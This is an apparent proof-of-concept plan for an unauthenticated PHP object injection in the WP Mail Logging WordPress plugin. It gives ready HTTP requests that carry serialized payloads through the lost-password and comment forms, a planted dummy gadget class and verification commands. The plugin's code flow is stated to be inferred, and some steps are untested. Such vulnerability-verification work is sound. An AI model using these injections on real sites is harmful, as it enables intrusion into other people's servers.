WP Mail Logging <= 1.15.0 - Unauthenticated PHP Object Injection via Email Log Message Field

This research plan outlines the steps required to demonstrate the PHP Object Injection vulnerability in the WP Mail Logging plugin (CVE-2026-2471).

1. Vulnerability Summary

The vulnerability exists in the BaseModel class of the WP Mail Logging plugin. When log entries are retrieved from the database and instantiated as objects, the constructor iterates through the database columns and applies maybe_unserialize() to the values without validation.

Because the plugin hooks into wp_mail to log all outgoing emails, an unauthenticated attacker can trigger an email (e.g., via a contact form, registration, or password reset) containing a serialized PHP payload. When an administrator later views the email logs in the WordPress dashboard, the payload is retrieved from the database and deserialized, leading to PHP Object Injection.

2. Attack Vector Analysis

• Injection Endpoint: Any public-facing form that triggers wp_mail(). Examples include:
  • WordPress Lost Password form (/wp-login.php?action=lostpassword)
  • Comment submission (if notifications are enabled)
  • User registration
  • Third-party contact forms (Contact Form 7, WPForms)
• Trigger Endpoint: The WP Mail Logging admin page: /wp-admin/admin.php?page=wpml_plugin_log
• Payload Location: The email "Message" field or "Recipient/Subject" fields (any field logged by the plugin).
• Authentication:
  • Injection: Unauthenticated.
  • Trigger: Authenticated (Administrator).

3. Code Flow (Inferred)

1. Capture: The plugin hooks into phpmailer_init or wp_mail. It captures the email components (to, subject, message, headers).
2. Storage: The plugin saves these components into a custom database table (usually wp_wpml_mails) using $wpdb->insert().
3. Retrieval: When an admin visits the log page, the plugin queries the table.
4. Instantiation: For each row, a model (extending BaseModel) is instantiated.
5. Sink: The BaseModel::__construct (likely in src/Models/BaseModel.php) contains logic similar to:

   foreach ($db_row as $key => $value) {
       $this->$key = maybe_unserialize($value);
   }
   

6. Execution: maybe_unserialize() detects the serialized string and calls unserialize(), triggering any __wakeup or __destruct methods in the injected object's class.

4. Nonce Acquisition Strategy

This vulnerability is unique because the injection phase does not require a nonce (it relies on standard public WordPress features like the password reset form).

The trigger phase occurs when an administrator navigates to the plugin's log page. No specific nonce bypass is required to reach the sink, as the sink is part of the page's data-loading process.

5. Test Data Setup

Since no POP chain is present in the vulnerable plugin, we must provide a "bridge" POP chain for verification in the isolated environment.

1. Create a Dummy POP Chain:
   Create a file at /var/www/html/wp-content/mu-plugins/pop-chain.php:

   <?php
   class ExploitCheck {
       public $file = 'pwned.txt';
       public $data = 'vulnerable';
       public function __destruct() {
           file_put_contents(ABSPATH . $this->file, $this->data);
       }
   }
   

2. Ensure Plugin is Active:
   wp plugin activate wp-mail-logging

6. Exploitation Strategy

Step 1: Generate the Payload

We want the string stored in the database to be a serialized ExploitCheck object.
Payload: O:12:"ExploitCheck":1:{s:4:"file";s:9:"pwned.txt";}

Step 2: Inject via Lost Password Form

We will use the WordPress Lost Password form to send an email. We will place our payload in the user_login field. Many logging plugins log the full message, which includes the username in the text (e.g., "Someone has requested a password reset for the following account: [username]").

• Request:

  POST /wp-login.php?action=lostpassword HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  user_login=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&redirect_to=&wp-submit=Get+New+Password
  

Step 3: Trigger the Sink

Log in as an administrator and access the email logs.

• Request:

  GET /wp-admin/admin.php?page=wpml_plugin_log HTTP/1.1
  Cookie: [Admin Cookies]
  

7. Expected Results

1. The wp_mail call is triggered by the lost password request.
2. The WP Mail Logging plugin captures the email containing the ExploitCheck serialized string.
3. The plugin stores this in the wp_wpml_mails table.
4. When the admin loads the log page, BaseModel retrieves the row and calls maybe_unserialize() on the message field.
5. The ExploitCheck object is instantiated and subsequently destroyed at the end of the request.
6. The __destruct() method executes, creating pwned.txt in the WordPress root.

8. Verification Steps

1. Check for the file:
   wp eval 'echo file_exists(ABSPATH . "pwned.txt") ? "SUCCESS" : "FAILURE";'
2. Inspect the Log Table:
   wp db query "SELECT message FROM wp_wpml_mails ORDER BY mail_id DESC LIMIT 1;"
   Verify that the payload is present in the message column.

9. Alternative Approaches

If the user_login field in the Lost Password form is too heavily sanitized (preventing O: from being stored), use a different injection point:

• Comment Injection:
  If comments are enabled and "Email me whenever anyone posts a comment" is on:

  POST /wp-comments-post.php HTTP/1.1
  Content-Type: application/x-www-form-urlencoded
  
  author=Attacker&email=attacker@example.com&url=&comment=O%3A12%3A%22ExploitCheck%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22pwned.txt%22%3B%7D&comment_post_ID=1
  

  The comment content is sent via email to the admin and logged by the plugin.

• Double Serialization:
  If the plugin's maybe_unserialize call fails because the database contains a simple string, wrap the payload in another layer of serialization:
  s:51:"O:12:"ExploitCheck":1:{s:4:"file";s:9:"pwned.txt";}";
  This ensures that the first call to maybe_unserialize returns the O:... string, and if a subsequent logic or re-instantiation occurs, it may trigger. However, based on the CVE description, a standard serialized string should suffice as it is retrieved directly from the DB result set.